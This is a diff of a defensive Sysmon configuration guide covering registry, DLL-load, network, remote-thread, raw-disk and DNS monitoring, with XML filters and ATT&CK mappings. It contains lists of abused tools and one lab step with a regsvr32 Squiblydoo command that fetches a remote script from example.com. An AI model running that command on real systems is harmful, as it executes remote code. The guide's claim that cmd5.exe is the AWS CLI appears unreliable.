File Execution Options\sethc.exe + \Image File Execution Options\utilman.exe + \Image File Execution Options\osk.exe + \Image File Execution Options\narrator.exe + \Image File Execution Options\magnify.exe + +``` + + +When reviewing registry events, prioritize these patterns: + +**1. Run Key Modifications** +* New or modified entries in Run/RunOnce keys, especially in HKLM (affects all users) +* Unusual paths (temp directories, ProgramData, user folders) +* Encoded or obfuscated command lines +* Unsigned executables being added to autorun + +**2. Service Creation or Modification** +* New services created outside of normal software installation +* Existing service ImagePath or ServiceDll modifications +* Service start type changes from Disabled to Automatic +* Services pointing to unusual file locations + +**3. Security Tool Tampering** +* Any modifications to Windows Defender registry keys +* Defender exclusion additions +* Firewall rule changes or firewall disable +* UAC setting modifications + +**4. Accessibility Feature Abuse** +* Debugger registry key creation for sethc.exe, utilman.exe, or other accessibility executables +* This technique allows attackers to get SYSTEM shell at login screen by pressing Shift 5 times + +**5. File Association Hijacking** +* Changes to shell\open\command or shell\open\ddeexec for common file types +* Can cause malicious code execution when users open files + +**6. WDigest Credential Downgrade** +* UseLogonCredential set to 1 (enables storing plaintext passwords in memory for older protocols) +* Common post-exploitation technique to facilitate credential dumping + +**7. Unusual Processes Modifying Registry** +* Scripting engines (powershell.exe, cmd.exe, wscript.exe) modifying persistence keys +* Processes running from temp directories making registry changes +* Non-administrative tools modifying HKLM + + +Monitoring HKEY_CURRENT_USER (HKCU) is particularly challenging because: +* Each user has their own HKCU hive identified by their SID +* The actual registry path includes the SID: `HKEY_USERS\S-1-5-21-xxx-xxx-xxx-xxxx\Software\...` +* Sysmon translates this to HKU\{SID}\... + +**When filtering HKCU keys:** +* Use **contains** instead of **begins with** or **is** because the SID varies per user +* Example: `\CurrentVersion\Run` will match both HKLM and HKCU Run keys + +**HKCU Monitoring Considerations:** +* HKCU persistence affects only a single user but can still be valuable for detection +* HKCU is modified very frequently by normal user activity +* Consider only monitoring specific high-value HKCU keys rather than broad patterns +* HKLM persistence is generally higher priority (affects all users, often requires elevation) + + +Registry monitoring will generate some benign events even with targeted includes: + +**Software Updates and Installations** +* Legitimate software modifying Run keys during installation +* Windows updates changing service configurations +* **Mitigation**: Filter known software installers by full path and signature, or accept and triage at SIEM level + +**Group Policy Application** +* Domain Group Policy writing to various registry locations +* **Mitigation**: Identify Group Policy engine processes and consider excluding, or use SIEM correlation to identify GP-related changes + +**Windows Built-in Maintenance** +* System maintenance tasks modifying registry +* Windows Defender updates changing Defender registry +* **Mitigation**: Baseline normal maintenance patterns and filter at SIEM level + +**Management Software** +* SCCM, Tanium, or other endpoint management making registry changes +* **Mitigation**: Document expected management tool behavior and exclude specific processes with full path + + +Registry monitoring requires careful performance management: + +**Start Minimal**: Begin with only the most critical persistence keys (Run, Services, Winlogon) and expand gradually. + +**Test Every Addition**: Before adding a new registry filter to production, test it in a lab environment for 24-48 hours to measure event volume. + +**Monitor Sysmon CPU Usage**: Registry filtering happens in real-time and can consume CPU. Watch for Sysmon process CPU spikes after configuration changes. + +**Typical Volume Expectations**: With a well-tuned configuration monitoring ~20-30 high-value registry paths, expect: +* Workstations: 10-100 events/day +* Servers: 50-500 events/day +* Domain Controllers: Higher due to Group Policy application + +**If Volume Exceeds Expectations:** +* Review which specific TargetObject patterns are generating the most events +* Consider if the filter is too broad (using "contains" when "end with" would suffice) +* Evaluate if SIEM-level filtering might be more appropriate +* Validate the key being monitored provides actual detection value + + +Validate your registry monitoring configuration: + +1. **Test Persistence Techniques**: Create a Run key entry in a lab and verify Sysmon logs it +2. **Service Creation**: Create a test service and modify its ImagePath +3. **Defender Tampering Simulation**: Attempt to add Defender exclusions (in isolated environment) +4. **Sticky Keys Test**: Set a debugger for sethc.exe in a lab +5. **Volume Baseline**: Run configuration for 1 week and track daily event volumes +6. **Performance Monitoring**: Watch Sysmon CPU usage to ensure no performance degradation + +Registry monitoring, when configured with highly targeted includes focused on known abuse patterns, provides critical detection of persistence, privilege escalation, and defense evasion techniques. The key is maintaining strict discipline about only monitoring proven high-value registry keys to keep volume manageable and performance impact minimal. + ## Image Loading -Sysmon will log **EventID 7** for the loading of images (Components like DLL, OCX..) by a given process. This filter can cause high CPU usage if filtering is to open on desktop or terminal systems with lots of process starting and stopping, because of this event is best targeted by monitoring for specific libraries or combinations used by attackers. + +Sysmon will log **EventID 7** for the loading of images (DLLs, OCX files, and other executable modules) by processes. This is one of the highest-volume event types Sysmon can generate and requires extremely careful configuration. If not properly filtered, image loading can produce millions of events per day and significantly impact system performance. + + +Every time any process loads a library or module, an image load event is generated. Windows processes routinely load dozens or even hundreds of DLLs during normal operation: +* A web browser loading a single webpage might load 50+ DLLs +* Starting Microsoft Office loads hundreds of DLLs +* Windows services continuously load and unload modules +* Security software, frameworks (.NET, Java), and system utilities all load numerous libraries + +This makes image loading fundamentally different from other event types. **You cannot use an exclusion-based approach.** Logging all image loads and filtering out noise is not feasible - the volume is simply too high. Instead, image loading requires a **strictly targeted include approach** where you only monitor for specific suspicious DLLs or specific combinations of processes and libraries. + + +Despite the volume challenges, image loading provides critical visibility into sophisticated attack techniques: + +**DLL Injection and Process Injection**: Attackers inject malicious code into legitimate processes by loading DLLs into the target process's memory space. Image load events can detect: +* Unsigned or suspicious DLLs loaded into sensitive processes +* DLLs loaded from unusual paths (temp directories, user folders) +* Known malicious DLLs identified by hash + +**Reflective DLL Loading**: Attackers load DLLs directly into memory without touching disk. While harder to detect, monitoring for the loading of uncommon system DLLs can provide indicators. + +**Script Engine Abuse**: Many attacks use Windows scripting engines to execute malicious code. Monitoring for the loading of scripting DLLs helps detect: +* PowerShell engine DLLs loaded by non-PowerShell processes +* VBScript or JScript engine DLLs loaded by Office applications (malicious macros) +* Windows Script Host components loaded by unexpected processes + +**COM Object Abuse**: Attackers use COM objects and ActiveX controls for execution. Monitoring specific OCX and COM DLLs can detect techniques like: +* Regsvr32 loading scrobj.dll (Squiblydoo technique) +* MSHTA loading JavaScript engines to bypass AMSI + +**Living Off the Land Detection**: Legitimate Windows binaries executing malicious actions often load specific DLLs that indicate suspicious behavior. + +**MITRE ATT&CK Mapping**: Image loading events help detect: +* **T1055 - Process Injection**: Injecting DLLs into running processes +* **T1055.001 - DLL Injection**: Classic DLL injection techniques +* **T1129 - Shared Modules**: Loading malicious shared libraries +* **T1059.001 - PowerShell**: Detecting PowerShell execution via System.Management.Automation.dll +* **T1059.005 - Visual Basic**: Detecting VBScript via vbscript.dll +* **T1218.010 - Regsvr32**: Squiblydoo technique via scrobj.dll +* **T1218.005 - Mshta**: MSHTA abuse via jscript9.dll loading + + +Because of the extreme volume, image loading must be configured with **targeted includes only**. You specify exactly which DLLs to monitor or which process and DLL combinations indicate malicious activity. This approach keeps event volume manageable while maintaining detection capability for high-value indicators. + +**Never attempt to:** +* Log all image loads and exclude noise +* Monitor all DLLs loaded by specific processes +* Use broad wildcards or patterns + +**Always:** +* Monitor specific suspicious DLLs known to indicate attacks +* Combine process and DLL criteria (e.g., only log PowerShell DLL when loaded by non-PowerShell processes) +* Start with a minimal configuration and expand carefully based on detection gaps The event fields are: @@ -1800,7 +4585,8 @@ The event fields are: * **ProcessGuid**: Process Guid of the process that loaded the image -* **ProcessId**: Process ID used by the OS to identify the process that loaded the image +* **ProcessId**: Process ID used by the OS to identify the process + that loaded the image * **Image**: File path of the process that loaded the image @@ -1814,9 +4600,11 @@ The event fields are: * **Company**: Company name the image loaded belongs to -* **OriginalFileName**: OriginalFileName from the PE header, added on compilation +* **OriginalFileName**: OriginalFileName from the PE header, added on + compilation -* **Hashes**: Full hash of the file with the algorithms in the HashType field +* **Hashes**: Full hash of the file with the algorithms in the + HashType field * **Signed**: State whether the image loaded is signed @@ -1824,47 +4612,276 @@ The event fields are: * **SignatureStatus**: status of the signature -Example of libraries leveraged by attackers + +Based on common attack techniques, these DLLs provide the best signal-to-noise ratio: + +**Scripting and Execution Engines:** +* **System.Management.Automation.dll** and **System.Management.Automation.ni.dll** - PowerShell engine (detect PowerShell loaded by non-PowerShell processes) +* **vbscript.dll** - VBScript engine (common in malicious macros and scripts) +* **jscript.dll** and **jscript9.dll** - JavaScript engines (used in MSHTA and script-based attacks) +* **scrrun.dll** - Windows Script Runtime (file system and registry access from scripts) +* **wshom.ocx** - Windows Script Host Object Model (used by malicious scripts) + +**COM and ActiveX Abuse:** +* **scrobj.dll** - Script Component Runtime (Squiblydoo/Regsvr32 abuse) +* **msxml3.dll** and **msxml6.dll** - XML parsing (used in some script-based attacks) + +**Credential Access:** +* **samlib.dll** - Security Accounts Manager library (credential dumping) +* **vaultcli.dll** - Windows Vault access (credential theft) +* **wdigest.dll** - WDigest authentication (credential access) + +**Injection and Debugging:** +* **dbghelp.dll** and **dbgcore.dll** - Debugging libraries (process dumping, credential theft) +* **ntdll.dll** loaded from unusual paths - Core system DLL from non-system location (DLL hijacking) + +**Suspicious DLL Characteristics to Monitor:** +* Unsigned DLLs loaded into signed processes +* DLLs loaded from user-writable directories (C:\\Users\\*, C:\\ProgramData\\*, C:\\Windows\\Temp\\*) +* DLLs with suspicious names or no metadata +* Known malicious DLL hashes from threat intelligence + + +**Example 1: Script Engine Detection** ```xml - - - - - - - jscript9.dll - mshta.exe - - - - wshom.ocx - scrrun.dll - vbscript.dll - - - - System.Management.Automation.ni.dll - System.Management.Automation.dll - - - - scrobj.dll - - - - + + + + + + + jscript9.dll + mshta.exe + + + + wshom.ocx + scrrun.dll + vbscript.dll + + + + System.Management.Automation.ni.dll + System.Management.Automation.dll + + + + scrobj.dll + + + + ``` +**Example 2: Detecting Unsigned DLLs in Sensitive Processes** + +Monitor for unsigned libraries loaded into critical system processes: + +```xml + + + C:\Windows\System32\lsass.exe + false + + + C:\Windows\explorer.exe + false + + +``` + +**Example 3: DLL Loading from Suspicious Paths** + +Detect DLLs loaded from user-writable or temporary directories: + +```xml + + + C:\Users\ + C:\Windows\Temp\ + C:\ProgramData\ + + +``` + +**Example 4: Credential Access DLL Monitoring** + +```xml + + + samlib.dll + vaultcli.dll + wdigest.dll + + +``` + + +When reviewing image load events, prioritize these patterns: + +**1. PowerShell Engine Loaded by Non-PowerShell Processes** +* System.Management.Automation.dll loaded by Excel, Word, or other Office applications (malicious macro) +* PowerShell DLL loaded by rundll32.exe, regsvr32.exe, or other LOLBins +* PowerShell loaded by unknown or suspicious processes + +**2. Script Engines in Office Applications** +* vbscript.dll, jscript.dll, or wshom.ocx loaded by WINWORD.EXE or EXCEL.EXE (macros or embedded scripts) +* scrrun.dll providing file system access from documents + +**3. Squiblydoo and COM Abuse** +* scrobj.dll loaded by regsvr32.exe (classic Squiblydoo) +* Unexpected processes loading COM or ActiveX components + +**4. DLL Hijacking Indicators** +* System DLLs (ntdll.dll, kernel32.dll, etc.) loaded from non-system paths +* DLLs with names similar to system DLLs but from user directories + +**5. Debugging DLLs Against Critical Processes** +* dbghelp.dll or dbgcore.dll loaded into lsass.exe or other sensitive processes +* Correlation with Process Access events for comprehensive credential dumping detection + +**6. Unsigned or Suspicious DLLs** +* Unsigned DLLs loaded into signed processes (potential injection) +* DLLs from temporary directories or download folders +* DLLs with no version information or metadata + + +Even with targeted includes, some false positives may occur: + +**Legitimate PowerShell Usage**: Some enterprise software legitimately uses PowerShell engine DLLs. Document these and create specific exclusions for known-good processes with full path verification. + +**Development Environments**: Visual Studio and development tools load many scripting engines and components. Consider excluding developer workstations or specific development tool paths. + +**Management Software**: Configuration management tools, monitoring agents, and administrative software may load scripting engines. Whitelist by full path and signature. + +**Third-Party Software**: Some commercial applications use embedded scripting. Baseline your environment to identify legitimate uses. + +**Mitigation Strategy**: +* Combine multiple criteria (process + DLL + signature status + path) +* Use exclusions sparingly and with full path verification +* Document all exclusions and review quarterly +* Prefer SIEM-level filtering for known-good over Sysmon exclusions + + +Image loading can impact system performance if misconfigured: + +**Minimize Monitored DLLs**: Only monitor DLLs with proven detection value. Resist the urge to add every interesting DLL. + +**Avoid Wildcards**: Wildcards in ImageLoaded filters can match many DLLs. Be specific. + +**Disable on High-Load Systems**: Consider disabling image load monitoring on extremely busy servers (web servers, databases) and focusing on workstations and sensitive servers. + +**Test Before Deployment**: Deploy image load configurations to a small test group first and monitor Sysmon CPU usage and event volume. + +**Use Signature Checking Wisely**: Checking signatures adds processing overhead. Use signature filters only when necessary. + + +Validate your image loading configuration captures attacks without overwhelming your systems: + +1. **Test Script-Based Attacks**: Execute a malicious macro in a lab to verify detection of vbscript.dll loading +2. **PowerShell Detection**: Test PowerShell execution from unusual processes +3. **Squiblydoo Simulation**: Test regsvr32 /u /s /i:http://example.com/payload.sct scrobj.dll technique +4. **Monitor Volume**: Track image load event volume daily to ensure it remains manageable (typically <1000 events/day/host for well-configured systems) +5. **CPU Impact**: Monitor Sysmon CPU usage to ensure image loading is not causing performance issues + +Image loading monitoring, when properly configured with targeted includes, provides valuable detection of sophisticated attack techniques like DLL injection, script engine abuse, and process injection. The key is maintaining strict discipline about only monitoring high-value indicators to keep volume and performance impact manageable. + ## Network Connections -Sysmon will log **EventID 3** for all TCP and UDP network connections. This event will generate a large number of entries and filtering should be tuned for specific processes and ports. -For the DestinationHostname, the GetNameInfo API is used and it will often not have any information and may just be a CDN, making it NOT reliable for filtering since it uses a reverse DNS Lookup to get this information, in Sysmon v11.0 this behaviour can be disabled by using the ```True``` at the root of the configuration file. +Sysmon will log **EventID 3** for all TCP and UDP network connections made by processes on the system. Network connection monitoring is critical for detection engineering because it provides visibility into command and control communications, lateral movement, data exfiltration, and initial access attempts. However, this is also one of the highest-volume event types Sysmon can generate, requiring careful configuration to balance visibility with manageability. + + +Network connection logging provides insight into several critical attack phases: + +**Command and Control (C2)**: After initial compromise, attackers establish communication channels to remotely control infected systems. Network connection logs help detect: +* Beaconing patterns to external IP addresses +* Connections to known malicious infrastructure +* Unusual protocols or ports for outbound communication +* Communication from processes that should not make network connections + +**Lateral Movement**: Attackers move between systems within a network using various protocols. Network logs capture: +* SMB connections between workstations (unusual peer-to-peer traffic) +* RDP or WinRM connections from unexpected sources +* Administrative tool usage across systems +* Pass-the-hash and other credential theft-based movement + +**Data Exfiltration**: When attackers steal data, they must transmit it somewhere. Network monitoring detects: +* Large volume transfers to external destinations +* Connections to cloud storage or file sharing services from unusual processes +* Data moving to geographic regions where your organization does not operate +* Exfiltration through unusual protocols or applications + +**Living Off the Land**: Attackers abuse legitimate Windows tools to avoid detection. Network logs help identify when built-in tools make suspicious connections: +* PowerShell connecting to the internet +* cmd.exe, wscript.exe, or certutil.exe downloading files +* Administrative tools like wmic.exe or sc.exe used remotely +* Compilation tools like msbuild.exe fetching remote resources + +**MITRE ATT&CK Mapping**: Network connection events help detect numerous techniques: +* **T1071 - Application Layer Protocol**: C2 communication over standard protocols +* **T1095 - Non-Application Layer Protocol**: C2 using custom protocols +* **T1041 - Exfiltration Over C2 Channel**: Data theft via command and control +* **T1048 - Exfiltration Over Alternative Protocol**: Using uncommon channels for data theft +* **T1021 - Remote Services**: RDP, SMB, WinRM for lateral movement +* **T1090 - Proxy**: Using proxies or tunnels to obscure communication +* **T1105 - Ingress Tool Transfer**: Downloading additional attack tools + + +Network connections are extremely high-volume. A typical Windows workstation generates hundreds to thousands of network connections per hour through: +* Web browsers making dozens of connections per webpage +* Cloud applications constantly syncing data +* Operating system telemetry and update checks +* Background applications and services +* Email clients, chat applications, collaboration tools + +On servers, especially domain controllers or application servers, network connection volume can reach tens of thousands per hour. Logging all connections without filtering will: +* Overwhelm your SIEM with millions of events daily +* Consume significant storage +* Make it nearly impossible to find meaningful detections in the noise +* Impact Sysmon and system performance + +This event type requires either an **outlier-based exclusion approach** (filter out known-good, log everything else) or a **targeted include approach** (only log specific suspicious processes or ports). Many organizations use a hybrid strategy. + + +**Do NOT blindly exclude all cloud service connections.** Attackers frequently abuse legitimate cloud tools and services to blend in with normal traffic and evade perimeter monitoring. Be extremely cautious when considering exclusions for cloud-related processes. + +**Known Attack Patterns Using Cloud Services:** + +* **cloudflared.exe** (Cloudflare Tunnel) - Attackers use this legitimate Cloudflare tool to tunnel SSH, RDP, and Remote Monitoring and Management (RMM) tool connections through Cloudflare's network. This bypasses traditional perimeter controls and appears as normal HTTPS traffic to Cloudflare infrastructure. Always log cloudflared.exe connections and investigate unexpected usage. + +* **cmd5.exe** (AWS CLI) - Attackers have used modified or legitimate versions of AWS command-line tools for data exfiltration to AWS S3 buckets. If your organization does not routinely use AWS CLI tools on endpoints, these should always be logged. -For the DestinationPortName, the GetNameInfo API is used for the friendly name of ports. In the case of services doing connections on some systems due to memory use, they are hosted under svchost.exe and most connections will originate from this process. +* **rclone** - This legitimate cloud storage synchronization tool is heavily abused by attackers for data exfiltration to various cloud storage providers (Google Drive, Dropbox, OneDrive, Mega, etc.). Attackers use rclone because it can transfer large amounts of data to cloud storage while appearing as normal cloud sync traffic, evading perimeter data loss prevention (DLP) monitoring. + +* **Cloud Storage Client Abuse** - Legitimate sync clients (OneDrive, Google Drive, Dropbox) can be abused to exfiltrate data by attackers who install them or use existing installations with attacker-controlled accounts. + +**Best Practice**: Instead of excluding cloud tools, implement **conditional monitoring**: +* Log cloud tool usage from unexpected user accounts +* Log cloud tools running from unusual paths (temp directories, user downloads) +* Monitor for cloud tools on servers where they should not exist +* Track volume of data transferred by cloud tools +* Alert on first-time usage of cloud tools in your environment + + +**Strategy 1 - Targeted Includes for Suspicious Processes (Recommended for Most)** + +The most practical approach for most organizations is to only log network connections from processes that should rarely or never make network connections. This dramatically reduces volume while capturing the most valuable detections. + +**Strategy 2 - Exclusion-Based with Aggressive Filtering** + +Some organizations with sufficient SIEM capacity log all connections but exclude high-volume, known-good applications. This provides broader visibility but requires more storage and processing. + +**Strategy 3 - Hybrid Approach** + +Combine both strategies: include specific suspicious processes and exclude specific high-volume benign applications, logging everything else that falls between. + +**Important DNS Lookup Note**: The DestinationHostname field uses the GetNameInfo API for reverse DNS lookups. This is often unreliable - it may return CDN names, may have no information, or may be spoofable. Since Sysmon v11.0, you can disable this behavior using ```False``` at the root of the configuration file. Disabling DNS lookup also improves performance and reduces dependencies on network availability. + +**Port Name Consideration**: The DestinationPortName field uses GetNameInfo API for friendly port names. On systems where services run under svchost.exe, most connections will show svchost.exe as the source process. The fields for the event are: @@ -1892,120 +4909,185 @@ The fields for the event are: * **SourcePort**: Source port number -* **SourcePortName**: Name of the source port being used +* **SourcePortName**: Name of the source port being used + +* **DestinationIsIpv6**: Is the destination IP an Ipv6 + +* **DestinationIp**: IP address destination + +* **DestinationHostname**: DNS name of the host that is contacted + +* **DestinationPort**: Destination port number + +* **DestinationPortName**: Name of the destination port + + + +**Example 1: Targeted Includes for Living Off the Land Binaries** + +This configuration only logs network connections from Windows built-in tools and commonly abused utilities: + +```xml + + + + + + at.exe + certutil.exe + cmd.exe + cscript.exe + java.exe + mshta.exe + msiexec.exe + net.exe + notepad.exe + powershell.exe + reg.exe + regsvr32.exe + rundll32.exe + sc.exe + wmic.exe + wscript.exe + driverquery.exe + dsquery.exe + hh.exe + infDefaultInstall.exe + javaw.exe + javaws.exe + mmc.exe + msbuild.exe + nbtstat.exe + net1.exe + nslookup.exe + qprocess.exe + qwinsta.exe + regsvcs.exe + rwinsta.exe + schtasks.exe + taskkill.exe + tasklist.exe + replace.exe + + + + +``` + +**Example 2: Including Cloud Tools and Data Transfer Utilities** + +Add these to your includes to capture potential exfiltration attempts: + +```xml + + + cloudflared.exe + rclone.exe + aws.exe + cmd5.exe + gsutil.exe + azcopy.exe + ngrok + curl.exe + wget.exe + +``` + + +When reviewing network connection events, prioritize these patterns: + +**1. Unexpected Process Making Connections** +* Any Windows system tool (cmd.exe, powershell.exe, wmic.exe) connecting to external IPs +* Compilation or scripting tools (msbuild.exe, cscript.exe, wscript.exe) making network requests +* Office applications (WINWORD.EXE, EXCEL.EXE) connecting to unusual destinations + +**2. Cloud Tools from Unusual Locations** +* cloudflared.exe, rclone, or AWS tools running from temp directories or user downloads +* Cloud sync tools on servers or systems where they should not be installed +* Multiple cloud tools appearing on the same system in a short timeframe + +**3. Lateral Movement Indicators** +* Workstation-to-workstation SMB (port 445) or RDP (port 3389) connections +* WinRM (port 5985/5986) connections between non-administrative systems +* Administrative tools connecting to multiple internal systems in sequence + +**4. Geographic Anomalies** +* Connections to countries where your organization does not operate +* Connections to known high-risk geographic regions +* Sudden change in connection destinations for a process + +**5. Volume Anomalies** +* Unusually large number of connections from a single process +* High-volume data transfer from a process that should not transfer significant data +* Beaconing patterns (regular, repeated connections at fixed intervals) + +**6. Port and Protocol Anomalies** +* Connections on unusual ports (high-numbered ports, non-standard services) +* Protocols used in unexpected ways (DNS tunneling, ICMP tunneling) +* Standard ports used by non-standard processes + + +If using an exclusion-based approach, these are commonly excluded high-volume processes. However, implement these exclusions with specific criteria to prevent abuse: + +**Browsers** - Exclude by full path and verify signed: +```xml + + C:\Program Files\Google\Chrome\Application\ + true + +``` + +**System Updates** - Exclude Windows Update and known software updaters: +```xml + + C:\Windows\System32\svchost.exe + 443 + windowsupdate + +``` + +**NEVER Exclude These Without Additional Context:** +* PowerShell or cmd.exe making any external connections +* Cloudflared, rclone, or other tunneling/sync tools +* Administrative tools (wmic, sc, net, reg, etc.) +* Script hosts (cscript, wscript, mshta) +* Processes running from temp directories + + +After implementing network connection monitoring, validate effectiveness: + +1. **Simulate C2 Traffic**: Use tools like Cobalt Strike or Metasploit in a lab to verify C2 beacon detection +2. **Test Cloud Exfiltration**: Upload a test file using rclone to verify detection +3. **Lateral Movement Simulation**: Test WinRM or PsExec between systems to ensure logging +4. **Baseline Normal Traffic**: Run your configuration for 1-2 weeks to understand typical volume and patterns +5. **Tune Exclusions**: Gradually add exclusions for verified benign high-volume traffic +6. **Monitor False Negative Risk**: Regularly test that exclusions have not created detection blind spots + +Network connection monitoring, when properly configured, provides critical visibility into attacker communications, lateral movement, and data theft. The key is finding the balance between comprehensive coverage and manageable event volume through thoughtful inclusion and exclusion rules. + +## Create Remote Thread -* **DestinationIsIpv6**: Is the destination IP an Ipv6 -* **DestinationIp**: IP address destination +Sysmon will log **EventID 8** for processes that use the Win32 API [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) call. This is a **low-volume, high-value event type** that detects one of the most common process injection techniques used by malware and attackers. -* **DestinationHostname**: DNS name of the host that is contacted -* **DestinationPort**: Destination port number +CreateRemoteThread is a classic process injection technique where one process creates a thread in another process to execute code. This is used by attackers for: -* **DestinationPortName**: Name of the destination port +**Code Injection**: Injecting malicious code into legitimate processes to evade detection and inherit the target process's privileges and context. +**Defense Evasion**: Running malicious code inside trusted processes (explorer.exe, svchost.exe) to avoid detection by security tools that trust those processes. -Example tracking connections for attacker "Living off the land" +**Privilege Escalation**: Injecting into processes running with higher privileges. -```xml - - - - - - - at.exe - - certutil.exe - - cmd.exe - - cscript.exe - - java.exe - - mshta.exe - - msiexec.exe - - - net.exe - - notepad.exe - - powershell.exe - - reg.exe - - regsvr32.exe - - rundll32.exe - - sc.exe - - wmic.exe - - wscript.exe - - driverquery.exe - - dsquery.exe - - hh.exe - - infDefaultInstall.exe - - javaw.exe - - javaws.exe - - mmc.exe - - msbuild.exe - - nbtstat.exe - - - net1.exe - - nslookup.exe - - qprocess.exe - - qwinsta.exe - - regsvcs.exe - - rwinsta.exe - - schtasks.exe - - taskkill.exe - - tasklist.exe - replace.exe - - - - -``` +**Persistence**: Maintaining presence by continuously injecting into long-running system processes. -## Create Remote Thread +**MITRE ATT&CK Mapping**: +* **T1055.001 - Process Injection: Dynamic-link Library Injection** +* **T1055.002 - Process Injection: Portable Executable Injection** +* **T1055 - Process Injection** (general) -Sysmon will log **EventID 8** for all processes that use the Win32 API -[CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) -call. -This call is used by some programs, parts of the OS and debuggers making -the number of events easy to filter out the normal usages to detect the -outliers. +Process injection using CreateRemoteThread follows this pattern: Process of use/abuse of CreateRemoteThread @@ -2059,11 +5141,46 @@ The fields for the event are: * **StartFunction**: Start function is reported if exact match to function in image export tables -Since the number of processes that use the **CreateRemoteThread()** API in a production environment is low, the best approach is to exclude known good processes by their full path. **CreateRemoteThread()** is not the only API call that can be used to create a thread, so it should not be relied on as a definitive guarantee of lack of process injection. + +The number of processes that legitimately use CreateRemoteThread() in a production environment is **very low**. This makes it ideal for a **log-all approach** with minimal exclusions. + +**Important Limitation**: CreateRemoteThread() is not the only API for creating remote threads. Attackers may use alternative methods like: +* NtCreateThreadEx() +* RtlCreateUserThread() +* QueueUserAPC() +* Other undocumented APIs + +Sysmon only monitors CreateRemoteThread(), so this event type alone does not guarantee detection of all process injection. It should be combined with other event types (Process Access, Image Loading) for comprehensive coverage. + + +When reviewing CreateRemoteThread events, prioritize: + +**1. Unknown Source Processes** +* Any SourceImage you don't recognize or that isn't a system process +* Processes running from temp directories or user folders +* Unsigned or suspicious executables + +**2. Injection into Critical Processes** +* Threads created in explorer.exe, lsass.exe, or other critical system processes +* Especially suspicious if the source is not a system process + +**3. Unusual StartModule or StartAddress** +* StartModule not pointing to legitimate system DLLs +* StartAddress in unusual memory regions +* StartFunction that doesn't match expected behavior + +**4. Script Engines or Office Apps as Source** +* powershell.exe, cscript.exe, wscript.exe creating remote threads +* WINWORD.EXE, EXCEL.EXE injecting into other processes (very suspicious) + +**5. Correlation with Other Events** +* Cross-reference with Process Access events for the same target +* Check if the source process was recently created (staging malware) ![process](./media/image58.png) -Example where known processes that use the API call are excluded + +After baselining, exclude verified legitimate uses of CreateRemoteThread: ```xml @@ -2106,12 +5223,55 @@ Example where known processes that use the API call are excluded ``` - ## Raw Access Read -Sysmon will log **EventID 9** for any process trying to read straight from a storage device by bypassing any filesystem restrictions that may be imposed by it. This information is logged by Sysmon leveraging its minifilter. This type of action is only done by drive imaging software or backup software in a normal operating environment. -Attackers have been known to use this technique to copy NTDS.dit and SAM Registry Hives off host for the purpose of credential harvesting. +Sysmon will log **EventID 9** for any process attempting to read directly from a storage device, bypassing filesystem restrictions. This is a **low-volume, extremely high-value event type** that should almost always log all occurrences. Raw disk access is rare in normal operations and highly indicative of credential theft or anti-forensics activity. + + +Raw access read bypasses the Windows filesystem layer to read data directly from disk. In normal operations, only specialized software performs this action: +* Drive imaging tools (forensic software) +* Backup software performing sector-level backups +* Disk repair and recovery utilities + +Attackers use raw disk access for critical attack objectives: + +**Credential Harvesting on Windows**: Direct disk access allows attackers to bypass file locks and permissions to steal: +* **NTDS.dit** (Active Directory database on Domain Controllers) - Contains password hashes for all domain accounts +* **SAM Registry Hive** - Local user account password hashes +* **SYSTEM Registry Hive** - Needed to decrypt SAM hashes + +**Credential Harvesting on Linux**: Raw block device access to steal: +* Shadow password files +* SSH private keys +* Credential stores and key material + +**Anti-Forensics**: Reading raw disk to: +* Locate and wipe evidence from unallocated space +* Access deleted files +* Manipulate filesystem metadata + +**Data Theft**: Bypassing filesystem permissions to access protected files. + +**MITRE ATT&CK Mapping**: +* **T1003.002 - OS Credential Dumping: Security Account Manager** - SAM hive theft +* **T1003.003 - OS Credential Dumping: NTDS** - NTDS.dit extraction +* **T1006 - Direct Volume Access** - Raw disk access technique +* **T1561 - Disk Wipe** - Anti-forensics using raw access + + +Raw disk access is extremely rare: +* Normal applications use filesystem APIs, not raw disk access +* Even most administrative tools don't require raw access +* Typical systems generate 0-5 events per day, often zero +* Events usually come from legitimate backup or imaging software + +This makes raw access read ideal for **logging everything** with minimal or no exclusions. + + +The recommended approach is simple: **log all raw access read events**. The volume is so low that filtering provides minimal benefit and risks missing critical detections. + +On systems with frequent legitimate imaging or backup operations, you may exclude those specific tools by full path after verification. The fields for the event are: @@ -2127,15 +5287,87 @@ The fields for the event are: * **Device**: Target device -Given that no process should be performing this action normally, it is best to log all instances of it or, even better, to target the NTDS.dit file on domain controllers and SAM hive file on all systems. On systems with many file modifications, slightly higher resource usage may result if monitoring is enabled for all files. -Example that captures all instances of this event +When reviewing raw access read events, **investigate every occurrence** unless it's from verified legitimate software: + +**1. Unknown Processes**: Any process you don't recognize performing raw disk access should be investigated immediately. + +**2. Suspicious Processes**: +* powershell.exe, cmd.exe, or scripting engines with raw disk access +* Processes from temp directories or user folders +* Recently created processes accessing raw disk + +**3. Timing Correlation**: +* Raw disk access shortly after suspicious process creation +* Access during off-hours or immediately after compromise indicators +* Multiple raw access events in sequence + +**4. Targeted Devices**: +* Access to system drive (C:\) partitions +* Domain controller disk access (potential NTDS.dit theft) + +**5. Known Attack Tools**: +* ntdsutil.exe used outside of maintenance windows +* Custom or unknown utilities accessing disk + + +Given the extremely low volume and high detection value, the recommended configuration is simple - log everything: ![collect all](./media/image60.png) +Raw access read monitoring provides some of the highest-fidelity detections available. Nearly every occurrence outside of known backup windows warrants investigation. + ## DNS Query -Sysmon will log EventID 22 to log all DNS Queries using the Windows DnsQuery_* API calls in **dnsapi.dll**. Logging is supported on Windows 8.1 or above since it leverages new ETW functionality in newer versions of Windows. Programs that do their own DNS resolution and do not use the Windows API calls will not be logged + +Sysmon will log **EventID 22** for DNS queries made using the Windows DnsQuery_* API calls in **dnsapi.dll**. DNS query logging provides valuable detection capabilities for command and control communication, data exfiltration via DNS tunneling, and discovery activity. However, volume can be **moderate to high** depending on configuration, requiring careful filtering. + + +DNS query monitoring provides visibility into: + +**Command and Control (C2) Detection**: Attackers must resolve domain names to connect to C2 infrastructure. DNS logs help detect: +* Newly registered domains (often used for C2) +* Domain generation algorithms (DGA) producing random-looking domains +* Fast-flux DNS (rapidly changing IP addresses) +* Connections to known malicious domains + +**Data Exfiltration via DNS Tunneling**: Attackers encode data in DNS queries to bypass network controls: +* Unusually long DNS queries (data encoded in subdomain) +* High volume of DNS queries to the same domain +* Suspicious TXT or other record type queries + 